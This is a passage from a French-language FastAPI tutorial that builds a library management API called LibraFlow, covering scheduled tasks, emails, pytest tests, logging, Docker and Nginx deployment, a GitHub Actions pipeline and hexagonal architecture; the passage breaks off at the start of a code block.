# Fonction utilitaire pour envoyer des notifications depuis d'autres services
async def notify_member(member_id: int, notification_type: str, data: dict):
    """
    Envoie une notification WebSocket à un membre.
    Appelée depuis les services métier.
    """
    await manager.send_to_member(member_id, {
        "type": notification_type,
        "data": data,
        "timestamp": datetime.utcnow().isoformat()
    })

# Exemple d'utilisation dans loan_service.py :
# Quand un livre réservé devient disponible :
# await notify_member(reservation.member_id, "book_available", {
#     "book_id": book.id,
#     "book_title": book.title,
#     "message": f"'{book.title}' est maintenant disponible !"
# })
```

---

## [EFFORT] Exercices de Complétion

### Exercice 16.1 — Chat Bibliothécaire
Crée `WS /ws/support` pour un chat entre membres et bibliothécaires. Messages avec : sender_id, role, text, timestamp.

### Exercice 16.2 — Dashboard Live
Crée `WS /ws/admin/dashboard` (admin uniquement) qui envoie automatiquement toutes les 30 secondes les stats actuelles (prêts actifs, connexions, etc.).

---
---

# Chapitre 17 : Background Tasks et Scheduling

## [OBJECTIF] Objectifs
- Utiliser Celery pour les tâches longues
- Planifier des tâches récurrentes avec APScheduler
- Gérer les relances automatiques

---

## [CODE] APScheduler pour les Tâches Planifiées

```bash
pip install apscheduler
```

```python
# app/scheduler.py
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from apscheduler.triggers.cron import CronTrigger
from sqlalchemy.ext.asyncio import AsyncSession
from datetime import datetime, timedelta
from sqlalchemy import select
from app.db.base import AsyncSessionLocal
from app.models.loan import Loan

scheduler = AsyncIOScheduler()

async def check_overdue_loans():
    """
    Tâche planifiée : vérifie les prêts en retard chaque jour à 8h.
    Envoie des rappels aux membres concernés.
    """
    print(f"[ALARM_CLOCK] [{datetime.now()}] Vérification des prêts en retard...")
    
    async with AsyncSessionLocal() as db:
        result = await db.execute(
            select(Loan).where(
                Loan.due_date < datetime.utcnow(),
                Loan.is_returned == False
            )
        )
        overdue_loans = result.scalars().all()
        
        for loan in overdue_loans:
            days_overdue = (datetime.utcnow() - loan.due_date).days
            print(f"  [DOCS] Retard: {loan.member.full_name} - '{loan.book.title}' ({days_overdue} jours)")
            # TODO: await send_overdue_email(loan.member.email, loan, days_overdue)

async def generate_weekly_report():
    """Génère un rapport hebdomadaire le lundi à 9h"""
    print(f"[GRAPHIQUE] Génération du rapport hebdomadaire...")
    # TODO: Générer et envoyer le rapport

def setup_scheduler():
    """Configure et démarre le planificateur"""
    # Vérification des retards : tous les jours à 8h
    scheduler.add_job(
        check_overdue_loans,
        CronTrigger(hour=8, minute=0),
        id="check_overdue",
        replace_existing=True
    )
    
    # Rapport hebdomadaire : lundi à 9h
    scheduler.add_job(
        generate_weekly_report,
        CronTrigger(day_of_week="mon", hour=9, minute=0),
        id="weekly_report",
        replace_existing=True
    )
    
    scheduler.start()
    print("[OK] Planificateur démarré")

# Dans app/main.py :
# @app.on_event("startup")
# async def startup():
#     await create_tables()
#     setup_scheduler()
```

---

## [EFFORT] Exercices de Complétion

### Exercice 17.1 — Nettoyage Automatique
Planifie une tâche hebdomadaire qui supprime les réservations expirées (plus de 7 jours sans retrait du livre).

### Exercice 17.2 — Rappel J-2
Envoie un email de rappel aux membres dont le prêt arrive à expiration dans 2 jours.

---
---

# Chapitre 18 : Envoi d'E-mails et Notifications

## [OBJECTIF] Objectifs
- Envoyer des emails transactionnels depuis LibraFlow
- Utiliser des templates HTML professionnels
- Intégrer des webhooks

---

## [CODE] Service d'Email avec fastapi-mail

```bash
pip install fastapi-mail jinja2
```

```python
# app/services/email_service.py
from fastapi_mail import FastMail, MessageSchema, ConnectionConfig
from jinja2 import Environment, FileSystemLoader
from pathlib import Path
from app.core.config import settings

# Configuration du client email
email_config = ConnectionConfig(
    MAIL_USERNAME=settings.SMTP_USER,
    MAIL_PASSWORD=settings.SMTP_PASSWORD,
    MAIL_FROM=settings.SMTP_USER,
    MAIL_PORT=settings.SMTP_PORT,
    MAIL_SERVER=settings.SMTP_SERVER,
    MAIL_FROM_NAME="LibraFlow",
    MAIL_STARTTLS=True,
    MAIL_SSL_TLS=False,
    USE_CREDENTIALS=True,
)

fastmail = FastMail(email_config)

# Chargement des templates Jinja2
templates_dir = Path(__file__).parent.parent / "templates" / "email"
jinja_env = Environment(loader=FileSystemLoader(templates_dir))

class EmailService:
    """Service d'envoi d'emails pour LibraFlow"""
    
    @staticmethod
    async def send_welcome_email(member_email: str, member_name: str):
        """Email de bienvenue lors de l'inscription"""
        template = jinja_env.get_template("welcome.html")
        html_content = template.render(
            member_name=member_name,
            library_name="LibraFlow"
        )
        
        message = MessageSchema(
            subject="Bienvenue sur LibraFlow ! [DOCS]",
            recipients=[member_email],
            body=html_content,
            subtype="html"
        )
        await fastmail.send_message(message)
    
    @staticmethod
    async def send_loan_confirmation(
        member_email: str, member_name: str,
        book_title: str, due_date: str
    ):
        """Email de confirmation d'emprunt"""
        template = jinja_env.get_template("loan_confirmation.html")
        html_content = template.render(
            member_name=member_name,
            book_title=book_title,
            due_date=due_date
        )
        
        message = MessageSchema(
            subject=f"Emprunt confirmé : {book_title}",
            recipients=[member_email],
            body=html_content,
            subtype="html"
        )
        await fastmail.send_message(message)
    
    @staticmethod
    async def send_overdue_reminder(
        member_email: str, member_name: str,
        book_title: str, days_overdue: int
    ):
        """Email de rappel pour prêt en retard"""
        template = jinja_env.get_template("overdue.html")
        html_content = template.render(
            member_name=member_name,
            book_title=book_title,
            days_overdue=days_overdue
        )
        
        message = MessageSchema(
            subject=f"[ATTENTION] Retard de {days_overdue} jours : {book_title}",
            recipients=[member_email],
            body=html_content,
            subtype="html"
        )
        await fastmail.send_message(message)
```

```html
<!-- app/templates/email/loan_confirmation.html -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <style>
    body { font-family: Arial, sans-serif; background-color: #f4f4f4; margin: 0; }
    .container { max-width: 600px; margin: 30px auto; background: white; border-radius: 8px; overflow: hidden; }
    .header { background: #2E5077; color: white; padding: 30px; text-align: center; }
    .content { padding: 30px; }
    .book-card { background: #f8f9fa; border-left: 4px solid #2E5077; padding: 15px; margin: 20px 0; }
    .due-date { font-size: 18px; font-weight: bold; color: #e74c3c; }
    .footer { background: #f8f9fa; padding: 15px; text-align: center; font-size: 12px; color: #666; }
  </style>
</head>
<body>
  <div class="container">
    <div class="header">
      <h1>[DOCS] LibraFlow</h1>
      <p>Votre emprunt est confirmé !</p>
    </div>
    <div class="content">
      <p>Bonjour <strong>{{ member_name }}</strong>,</p>
      <p>Votre emprunt a été enregistré avec succès.</p>
      
      <div class="book-card">
        <h3>{{ book_title }}</h3>
      </div>
      
      <p>Date de retour prévue : <span class="due-date">{{ due_date }}</span></p>
      <p>Merci de retourner le livre avant cette date. Des frais de retard peuvent s'appliquer.</p>
    </div>
    <div class="footer">
      <p>LibraFlow — Votre bibliothèque numérique. Ne pas répondre à cet email.</p>
    </div>
  </div>
</body>
</html>
```

---

## [EFFORT] Exercices de Complétion

### Exercice 18.1 — Webhook Slack
Envoie une notification Slack (via webhook) quand un nouveau membre s'inscrit. Utilise `httpx.post()` pour appeler l'URL de webhook Slack.

### Exercice 18.2 — Email de Rapport
Crée un template HTML pour le rapport hebdomadaire avec : un tableau des livres les plus empruntés, les statistiques de la semaine, et les prêts en retard.

---

## [BRAVO] Récapitulatif de la Partie 5

| Compétence | Niveau |
|---|---|
| Uploader et servir des fichiers | [OK] |
| Générer des exports CSV/PDF | [OK] |
| Créer un système WebSocket temps réel | [OK] |
| Planifier des tâches avec APScheduler | [OK] |
| Envoyer des emails avec templates HTML | [OK] |

**Prochaine étape ->** `06_PARTIE6_Tests_CICD.md` : tests, Docker et déploiement !

# [TEST] PARTIE 6 — Tests, CI/CD et Déploiement
## Chapitres 19 à 22 : Livrer LibraFlow en Production

---

# Chapitre 19 : Tests Unitaires et d'Intégration

## [OBJECTIF] Objectifs
- Écrire des tests complets pour les endpoints de LibraFlow
- Mocker la base de données dans les tests
- Mesurer la couverture de code

---

## [LOGIQUE] Pourquoi Tester ?

Un test qui passe en 3 secondes, c'est infiniment mieux qu'un bug découvert en production à 2h du matin. Les tests automatiques te permettent de :
- **Refactoriser sans crainte** : tu sais si tu as cassé quelque chose
- **Documenter le comportement attendu** : les tests montrent comment l'API est censée se comporter
- **Déployer en confiance** : le CI/CD peut bloquer un déploiement si les tests échouent

---

## [CODE] Configuration des Tests

```bash
pip install pytest pytest-asyncio httpx
```

```python
# tests/conftest.py
import pytest
import pytest_asyncio
from httpx import AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker

from app.main import app
from app.db.base import Base
from app.api.dependencies import get_db
from app.core.security import hash_password
from app.models.member import Member

# Base de données SQLite EN MÉMOIRE pour les tests
# (indépendante de la DB de développement)
TEST_DATABASE_URL = "sqlite+aiosqlite:///:memory:"

@pytest_asyncio.fixture(scope="function")
async def test_db():
    """
    Crée une base de données fraîche pour chaque test.
    'scope="function"' = une nouvelle DB à chaque test function.
    """
    engine = create_async_engine(TEST_DATABASE_URL, echo=False)
    
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)  # Crée les tables
    
    TestSession = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)
    
    async with TestSession() as session:
        yield session  # Fournit la session aux tests
    
    # Nettoyage après le test
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.drop_all)

@pytest_asyncio.fixture
async def client(test_db):
    """
    Client HTTP de test avec la DB de test injectée.
    Override la dépendance get_db pour utiliser la DB de test.
    """
    async def override_get_db():
        yield test_db
    
    app.dependency_overrides[get_db] = override_get_db
    
    async with AsyncClient(app=app, base_url="http://test") as ac:
        yield ac
    
    app.dependency_overrides.clear()  # Nettoie les overrides

@pytest_asyncio.fixture
async def admin_member(test_db):
    """Crée un membre admin pour les tests qui en ont besoin"""
    member = Member(
        first_name="Admin", last_name="Test",
        email="admin@test.com",
        password_hash=hash_password("Admin123!"),
        role="admin",
        is_active=True
    )
    test_db.add(member)
    await test_db.commit()
    await test_db.refresh(member)
    return member

@pytest_asyncio.fixture
async def auth_headers(client, admin_member):
    """Retourne les headers d'authentification pour un admin"""
    response = await client.post("/auth/login", data={
        "username": "admin@test.com",
        "password": "Admin123!"
    })
    token = response.json()["access_token"]
    return {"Authorization": f"Bearer {token}"}
```

```python
# tests/test_books.py
import pytest
from httpx import AsyncClient

class TestBooksEndpoints:
    """Tests des endpoints /books"""
    
    @pytest.mark.asyncio
    async def test_list_books_empty(self, client: AsyncClient):
        """GET /books retourne une liste vide si pas de livres"""
        response = await client.get("/books")
        
        assert response.status_code == 200
        data = response.json()
        assert isinstance(data, list) or isinstance(data.get("items"), list)
    
    @pytest.mark.asyncio
    async def test_create_book_success(self, client: AsyncClient, auth_headers: dict):
        """POST /books crée un livre avec les bons paramètres"""
        book_data = {
            "title": "Le Petit Prince",
            "author": "Antoine de Saint-Exupéry",
            "year": 1943,
            "category": "Littérature"
        }
        
        response = await client.post("/books", json=book_data, headers=auth_headers)
        
        assert response.status_code == 201
        book = response.json()
        assert book["title"] == "Le Petit Prince"
        assert book["author"] == "Antoine de Saint-Exupéry"
        assert "id" in book
        assert book["available"] == True
    
    @pytest.mark.asyncio
    async def test_create_book_requires_auth(self, client: AsyncClient):
        """POST /books retourne 401 sans authentification"""
        response = await client.post("/books", json={"title": "Test", "author": "Test"})
        assert response.status_code == 401
    
    @pytest.mark.asyncio
    async def test_create_book_validation_error(self, client: AsyncClient, auth_headers: dict):
        """POST /books retourne 422 si le titre est vide"""
        response = await client.post(
            "/books",
            json={"title": "", "author": "Auteur"},  # Titre vide = invalide
            headers=auth_headers
        )
        assert response.status_code == 422
    
    @pytest.mark.asyncio
    async def test_get_book_not_found(self, client: AsyncClient):
        """GET /books/{id} retourne 404 pour un ID inexistant"""
        response = await client.get("/books/99999")
        assert response.status_code == 404
    
    @pytest.mark.asyncio
    async def test_get_book_success(self, client: AsyncClient, auth_headers: dict):
        """GET /books/{id} retourne le livre correct"""
        # Crée d'abord un livre
        create_resp = await client.post(
            "/books",
            json={"title": "Dune", "author": "Frank Herbert"},
            headers=auth_headers
        )
        book_id = create_resp.json()["id"]
        
        # Récupère ce livre
        get_resp = await client.get(f"/books/{book_id}")
        
        assert get_resp.status_code == 200
        assert get_resp.json()["title"] == "Dune"
    
    @pytest.mark.asyncio
    async def test_delete_book_admin_only(self, client: AsyncClient, auth_headers: dict):
        """DELETE /books/{id} fonctionne pour un admin"""
        create_resp = await client.post(
            "/books",
            json={"title": "À supprimer", "author": "Auteur"},
            headers=auth_headers
        )
        book_id = create_resp.json()["id"]
        
        delete_resp = await client.delete(f"/books/{book_id}", headers=auth_headers)
        assert delete_resp.status_code == 204
        
        # Vérifie que le livre n'existe plus
        get_resp = await client.get(f"/books/{book_id}")
        assert get_resp.status_code == 404
```

```python
# tests/test_auth.py
import pytest

class TestAuthentication:
    
    @pytest.mark.asyncio
    async def test_register_success(self, client):
        response = await client.post("/auth/register", json={
            "first_name": "Alice", "last_name": "Dupont",
            "email": "alice@test.com", "password": "SecurePass123!"
        })
        assert response.status_code == 201
        assert response.json()["email"] == "alice@test.com"
    
    @pytest.mark.asyncio
    async def test_register_duplicate_email(self, client):
        """Deux inscriptions avec le même email -> 409"""
        data = {"first_name": "Bob", "last_name": "Martin",
                "email": "bob@test.com", "password": "Pass123!"}
        await client.post("/auth/register", json=data)
        response = await client.post("/auth/register", json=data)
        assert response.status_code == 409
    
    @pytest.mark.asyncio
    async def test_login_wrong_password(self, client, admin_member):
        """Mauvais mot de passe -> 401"""
        response = await client.post("/auth/login", data={
            "username": "admin@test.com",
            "password": "wrong_password"
        })
        assert response.status_code == 401
    
    @pytest.mark.asyncio
    async def test_login_returns_token(self, client, admin_member):
        """Connexion valide -> token JWT retourné"""
        response = await client.post("/auth/login", data={
            "username": "admin@test.com",
            "password": "Admin123!"
        })
        assert response.status_code == 200
        data = response.json()
        assert "access_token" in data
        assert data["token_type"] == "bearer"
```

```bash
# Lancer les tests
pytest tests/ -v

# Avec couverture de code
pip install pytest-cov
pytest tests/ -v --cov=app --cov-report=html
# Ouvre htmlcov/index.html pour voir le rapport
```

---

## [EFFORT] Exercices de Complétion

### Exercice 19.1 — Tests des Prêts
Crée `tests/test_loans.py` avec des tests pour :
- Emprunter un livre disponible -> succès
- Emprunter un livre indisponible -> 400
- Retourner un prêt -> livre redevient disponible
- Un membre avec 3 prêts actifs essaie d'en faire un 4ème -> refusé

### Exercice 19.2 — Tests de Pagination
Teste que `GET /books?skip=5&limit=3` retourne bien 3 livres en commençant au 6ème, sur une liste de 10 livres créés.

---
---

# Chapitre 20 : Logging et Monitoring

## [OBJECTIF] Objectifs
- Configurer des logs structurés pour la production
- Intégrer Sentry pour le tracking d'erreurs
- Comprendre les métriques de base

---

## [CODE] Logging Professionnel

```python
# app/core/logging_config.py
import logging
import sys
import json
from datetime import datetime
from app.core.config import settings

class JSONFormatter(logging.Formatter):
    """
    Formateur de logs JSON — idéal pour Datadog, Elasticsearch, CloudWatch.
    Chaque ligne de log est un JSON valide, facilement parsable.
    """
    
    def format(self, record: logging.LogRecord) -> str:
        log_entry = {
            "timestamp": datetime.utcnow().isoformat(),
            "level": record.levelname,
            "logger": record.name,
            "message": record.getMessage(),
            "environment": settings.ENVIRONMENT,
        }
        
        # Ajoute les infos d'exception si présentes
        if record.exc_info:
            log_entry["exception"] = self.formatException(record.exc_info)
        
        return json.dumps(log_entry, ensure_ascii=False)

def setup_logging():
    """Configure le système de logging de LibraFlow"""
    
    # Niveau selon l'environnement
    level = logging.DEBUG if settings.ENVIRONMENT == "development" else logging.INFO
    
    # Handler console
    console_handler = logging.StreamHandler(sys.stdout)
    
    if settings.ENVIRONMENT == "production":
        console_handler.setFormatter(JSONFormatter())
    else:
        # Format lisible en développement
        console_handler.setFormatter(
            logging.Formatter("%(asctime)s | %(levelname)-8s | %(name)s | %(message)s")
        )
    
    # Configuration du logger racine
    logging.basicConfig(level=level, handlers=[console_handler])
    
    # Réduire le bruit des librairies tiers
    logging.getLogger("uvicorn.access").setLevel(logging.WARNING)
    logging.getLogger("sqlalchemy.engine").setLevel(
        logging.DEBUG if settings.ENVIRONMENT == "development" else logging.WARNING
    )

# Dans main.py :
# from app.core.logging_config import setup_logging
# setup_logging()
```

### Intégration Sentry

```bash
pip install sentry-sdk[fastapi]
```

```python
# app/main.py
import sentry_sdk
from sentry_sdk.integrations.fastapi import FastApiIntegration
from sentry_sdk.integrations.sqlalchemy import SqlalchemyIntegration

if settings.ENVIRONMENT == "production":
    sentry_sdk.init(
        dsn=settings.SENTRY_DSN,  # Dans .env : SENTRY_DSN=https://...
        integrations=[FastApiIntegration(), SqlalchemyIntegration()],
        traces_sample_rate=0.1,  # Trace 10% des requêtes pour les performances
        environment=settings.ENVIRONMENT,
        release=settings.APP_VERSION
    )
```

---

## [EFFORT] Exercices de Complétion

### Exercice 20.1 — Logs Métier
Dans chaque service (BookService, LoanService), ajoute des logs INFO pour les actions importantes (livre créé, prêt enregistré) et ERROR pour les erreurs métier.

### Exercice 20.2 — Endpoint de Métriques
Crée `GET /metrics` (admin uniquement) retournant : requêtes totales, temps de réponse moyen, taux d'erreur (calculé depuis un compteur en mémoire mis à jour dans le middleware).

---
---

# Chapitre 21 : Déploiement avec Docker

## [OBJECTIF] Objectifs
- Dockeriser LibraFlow correctement
- Configurer docker-compose pour un environnement complet
- Utiliser Nginx comme reverse proxy

---

## [CODE] Dockerisation de LibraFlow

```dockerfile
# Dockerfile
# -------- STAGE 1 : Build --------
FROM python:3.11-slim as builder

WORKDIR /app

# Copie uniquement requirements.txt d'abord (optimise le cache Docker)
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

# -------- STAGE 2 : Production --------
FROM python:3.11-slim

WORKDIR /app

# Copie les dépendances installées depuis le stage builder
COPY --from=builder /root/.local /root/.local

# Copie le code source
COPY app/ ./app/
COPY alembic.ini .
COPY alembic/ ./alembic/

# Crée un utilisateur non-root (sécurité !)
RUN adduser --disabled-password --gecos '' appuser
USER appuser

# Le port que l'app écoute
EXPOSE 8000

# Variables d'environnement par défaut
ENV PYTHONPATH=/app
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1

# Lance le serveur avec Gunicorn + Uvicorn workers
CMD ["gunicorn", "app.main:app", 
     "--workers", "4",
     "--worker-class", "uvicorn.workers.UvicornWorker",
     "--bind", "0.0.0.0:8000",
     "--access-logfile", "-",
     "--error-logfile", "-"]
```

```yaml
# docker-compose.yml
version: "3.9"

services:
  # L'API FastAPI
  api:
    build: .
    container_name: libraflow_api
    restart: unless-stopped
    environment:
      - ENVIRONMENT=production
      - DATABASE_URL=postgresql+asyncpg://libraflow:password@db:5432/libraflow
      - REDIS_URL=redis://redis:6379
      - SECRET_KEY=${SECRET_KEY}  # Depuis le .env du host
    depends_on:
      db:
        condition: service_healthy  # Attend que la DB soit prête
      redis:
        condition: service_started
    volumes:
      - ./uploads:/app/uploads
    ports:
      - "8000:8000"
    networks:
      - libraflow_network

  # Base de données PostgreSQL
  db:
    image: postgres:15-alpine
    container_name: libraflow_db
    restart: unless-stopped
    environment:
      POSTGRES_USER: libraflow
      POSTGRES_PASSWORD: password
      POSTGRES_DB: libraflow
    volumes:
      - postgres_data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U libraflow"]
      interval: 5s
      timeout: 5s
      retries: 5
    networks:
      - libraflow_network

  # Redis pour le cache
  redis:
    image: redis:7-alpine
    container_name: libraflow_redis
    restart: unless-stopped
    networks:
      - libraflow_network

  # Nginx comme reverse proxy
  nginx:
    image: nginx:alpine
    container_name: libraflow_nginx
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro
      - ./certbot/conf:/etc/letsencrypt:ro
    depends_on:
      - api
    networks:
      - libraflow_network

volumes:
  postgres_data:

networks:
  libraflow_network:
    driver: bridge
```

```nginx
# nginx/nginx.conf
events { worker_connections 1024; }

http {
    upstream api {
        server api:8000;
    }
    
    server {
        listen 80;
        server_name api.libraflow.com;
        
        # Redirige HTTP vers HTTPS
        return 301 https://$host$request_uri;
    }
    
    server {
        listen 443 ssl;
        server_name api.libraflow.com;
        
        # Certificat SSL (Let's Encrypt)
        ssl_certificate /etc/letsencrypt/live/api.libraflow.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/api.libraflow.com/privkey.pem;
        
        # Limite la taille des uploads
        client_max_body_size 50M;
        
        location / {
            proxy_pass http://api;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
            
            # WebSocket support
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
        }
    }
}
```

```bash
# Commandes de déploiement
docker-compose build                    # Build les images
docker-compose up -d                    # Lance tout en arrière-plan
docker-compose logs -f api              # Suit les logs de l'API
docker-compose exec api python -m alembic upgrade head  # Migrations DB
docker-compose down                     # Arrête tout
docker-compose down -v                  # Arrête et supprime les volumes
```

---

## [EFFORT] Exercices de Complétion

### Exercice 21.1 — Migrations Alembic
Configure Alembic pour gérer les migrations de base de données. Crée une première migration depuis les modèles SQLAlchemy de LibraFlow.

```bash
pip install alembic
alembic init alembic
# Modifier alembic/env.py pour pointer vers tes modèles
alembic revision --autogenerate -m "Initial tables"
alembic upgrade head
```

### Exercice 21.2 — Health Check Amélioré
Modifie `GET /health` pour vérifier réellement l'état de la DB et Redis, et retourner `503 Service Unavailable` si une dépendance est hors ligne.

---
---

# Chapitre 22 : CI/CD avec GitHub Actions

## [OBJECTIF] Objectifs
- Automatiser les tests à chaque push
- Builder et publier l'image Docker
- Déployer automatiquement sur un serveur

---

## [CODE] Pipeline GitHub Actions

```yaml
# .github/workflows/ci-cd.yml
name: LibraFlow CI/CD

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  # ============ TESTS ============
  test:
    name: Tests & Qualité du Code
    runs-on: ubuntu-latest
    
    services:
      # PostgreSQL pour les tests d'intégration
      postgres:
        image: postgres:15
        env:
          POSTGRES_USER: test
          POSTGRES_PASSWORD: test
          POSTGRES_DB: libraflow_test
        options: >-
          --health-cmd pg_isready
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
        ports:
          - 5432:5432
    
    steps:
      - name: Checkout du code
        uses: actions/checkout@v3
      
      - name: Installation Python 3.11
        uses: actions/setup-python@v4
        with:
          python-version: "3.11"
          cache: "pip"
      
      - name: Installation des dépendances
        run: pip install -r requirements.txt -r requirements-dev.txt
      
      - name: Linting avec flake8
        run: flake8 app/ --max-line-length=100 --ignore=E501
      
      - name: Formatage avec black
        run: black app/ --check
      
      - name: Vérification des types avec mypy
        run: mypy app/ --ignore-missing-imports
      
      - name: Exécution des tests
        env:
          DATABASE_URL: postgresql+asyncpg://test:test@localhost:5432/libraflow_test
          SECRET_KEY: test-secret-key-for-ci
          ENVIRONMENT: testing
        run: pytest tests/ -v --cov=app --cov-report=xml
      
      - name: Upload de la couverture vers Codecov
        uses: codecov/codecov-action@v3
        with:
          file: ./coverage.xml

  # ============ BUILD DOCKER ============
  build:
    name: Build et Push Docker
    runs-on: ubuntu-latest
    needs: test  # Ne build que si les tests passent
    if: github.ref == 'refs/heads/main'
    
    steps:
      - uses: actions/checkout@v3
      
      - name: Login Docker Hub
        uses: docker/login-action@v2
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}
      
      - name: Build et Push
        uses: docker/build-push-action@v4
        with:
          context: .
          push: true
          tags: |
            moncompte/libraflow:latest
            moncompte/libraflow:${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

  # ============ DÉPLOIEMENT ============
  deploy:
    name: Déploiement en Production
    runs-on: ubuntu-latest
    needs: build
    environment: production
    
    steps:
      - name: Déploiement via SSH
        uses: appleboy/ssh-action@v0.1.10
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          key: ${{ secrets.SSH_PRIVATE_KEY }}
          script: |
            cd /opt/libraflow
            docker-compose pull api
            docker-compose up -d api
            docker-compose exec -T api python -m alembic upgrade head
            echo "[OK] LibraFlow déployé avec succès !"
```

---

## [EFFORT] Exercices de Complétion

### Exercice 22.1 — Pipeline Complet
Configure un pipeline complet pour LibraFlow avec les secrets GitHub : `DOCKER_USERNAME`, `DOCKER_PASSWORD`, `SERVER_HOST`, `SERVER_USER`, `SSH_PRIVATE_KEY`.

### Exercice 22.2 — Déploiement sur Render
Déploie LibraFlow sur Render.com (gratuit). Crée un `render.yaml` pour déploiement automatique.

---

## [BRAVO] Récapitulatif de la Partie 6

| Compétence | Niveau |
|---|---|
| Écrire des tests avec pytest et fixtures async | [OK] |
| Mocker les dépendances dans les tests | [OK] |
| Configurer des logs structurés JSON | [OK] |
| Dockeriser l'application avec multi-stage build | [OK] |
| Configurer CI/CD avec GitHub Actions | [OK] |

**Prochaine étape ->** `07_PARTIE7_Expert.md` : microservices, DDD, et architecture experte !

# [SCIENCE] PARTIE 7 — Niveau Expert : Architecture et Scalabilité
## Chapitres 23 à 26 : LibraFlow à l'Échelle Enterprise

---

# Chapitre 23 : Architecture Avancée — Hexagonale et DDD

## [OBJECTIF] Objectifs
- Comprendre l'architecture hexagonale (Ports & Adapters)
- Appliquer les principes du DDD
- Rendre LibraFlow totalement indépendant de l'infrastructure

---

## [LOGIQUE] Pourquoi une Architecture Avancée ?

Imagine que LibraFlow utilise PostgreSQL. Demain, ton client veut migrer vers MongoDB. Avec une architecture naïve, tu dois réécrire 60% du code. Avec l'architecture hexagonale, tu n'en changes que 10%.

### L'Architecture Hexagonale en Pratique

L'idée centrale : le **domaine métier** (les règles de la bibliothèque) ne doit JAMAIS dépendre de la technologie (PostgreSQL, Redis, email...). Les technologies sont des **détails**.

```
                    ┌──────────────────────────┐
                    │      DOMAINE MÉTIER        │
                    │  (Règles de la biblio)     │
                    │  - Ne connaît pas SQL      │
                    │  - Ne connaît pas HTTP     │
                    │  - Ne connaît pas Redis    │
                    └─────────┬────────┬─────────┘
                              │        │
                   ┌──────────┘        └──────────┐
                   [BLACK_DOWN-POINTING_TRIANGLE]                              [BLACK_DOWN-POINTING_TRIANGLE]
          [Port: BookRepository]        [Port: EmailService]
                   │                              │
          [Adapter: SQLAlchemy]         [Adapter: fastapi-mail]
          [Adapter: MongoDB]            [Adapter: Sendgrid]
```

---

## [CODE] Implémentation pour LibraFlow

### Interfaces (Ports)

```python
# app/domain/interfaces/book_repository.py
from abc import ABC, abstractmethod
from typing import List, Optional
from app.domain.entities.book import BookEntity

class BookRepositoryInterface(ABC):
    """
    Interface abstraite du repository de livres.
    
    Le domaine métier dépend de cette interface, PAS de SQLAlchemy.
    La couche infrastructure implémente cette interface.
    """
    
    @abstractmethod
    async def find_by_id(self, book_id: int) -> Optional[BookEntity]:
        pass
    
    @abstractmethod
    async def find_all(self, skip: int = 0, limit: int = 10) -> List[BookEntity]:
        pass
    
    @abstractmethod
    async def find_available(self) -> List[BookEntity]:
        pass
    
    @abstractmethod
    async def save(self, book: BookEntity) -> BookEntity:
        pass
    
    @abstractmethod
    async def delete(self, book_id: int) -> None:
        pass
    
    @abstractmethod
    async def exists_by_isbn(self, isbn: str) -> bool:
        pass
```

### Entités du Domaine

```python
# app/domain/entities/book.py
from dataclasses import dataclass, field
from datetime import datetime
from typing import Optional

@dataclass
class BookEntity:
    """
    Entité du domaine Book.
    Contient TOUTE la logique métier du livre.
    N'importe quelle technologie que rien — juste Python pur.
    """
    title: str
    author: str
    id: Optional[int] = None
    isbn: Optional[str] = None
    year: Optional[int] = None
    available: bool = True
    created_at: datetime = field(default_factory=datetime.utcnow)
    
    def __post_init__(self):
        """Validation des règles métier à la création"""
        if not self.title or not self.title.strip():
            raise ValueError("Le titre ne peut pas être vide")
        if not self.author or not self.author.strip():
            raise ValueError("L'auteur ne peut pas être vide")
        if self.year and (self.year < 1450 or self.year > datetime.utcnow().year + 1):
            raise ValueError(f"Année invalide : {self.year}")
    
    def mark_as_borrowed(self) -> None:
        """Règle métier : marquer le livre comme emprunté"""
        if not self.available:
            raise ValueError(f"Le livre '{self.title}' est déjà emprunté")
        self.available = False
    
    def mark_as_returned(self) -> None:
        """Règle métier : marquer le livre comme retourné"""
        if self.available:
            raise ValueError(f"Le livre '{self.title}' n'était pas emprunté")
        self.available = True
```

```python
# app/domain/entities/loan.py
from dataclasses import dataclass
from datetime import datetime, timedelta
from typing import Optional

@dataclass
class LoanEntity:
    """Entité domaine représentant un prêt de livre"""
    book_id: int
    member_id: int
    due_date: datetime
    id: Optional[int] = None
    loaned_at: datetime = None
    returned_at: Optional[datetime] = None
    
    def __post_init__(self):
        if self.loaned_at is None:
            self.loaned_at = datetime.utcnow()
        
        # Règle métier : la date de retour ne peut pas être avant aujourd'hui
        if self.due_date < datetime.utcnow():
            raise ValueError("La date de retour doit être dans le futur")
    
    @property
    def is_returned(self) -> bool:
        return self.returned_at is not None
    
    @property
    def is_overdue(self) -> bool:
        """Règle métier : le prêt est en retard si la date est dépassée et pas retourné"""
        return not self.is_returned and datetime.utcnow() > self.due_date
    
    @property
    def days_overdue(self) -> int:
        if not self.is_overdue:
            return 0
        return (datetime.utcnow() - self.due_date).days
    
    def return_book(self) -> None:
        """Règle métier : retourner le livre"""
        if self.is_returned:
            raise ValueError("Ce prêt a déjà été clôturé")
        self.returned_at = datetime.utcnow()
```

### Use Cases (Services Applicatifs)

```python
# app/application/use_cases/borrow_book.py
from datetime import datetime, timedelta
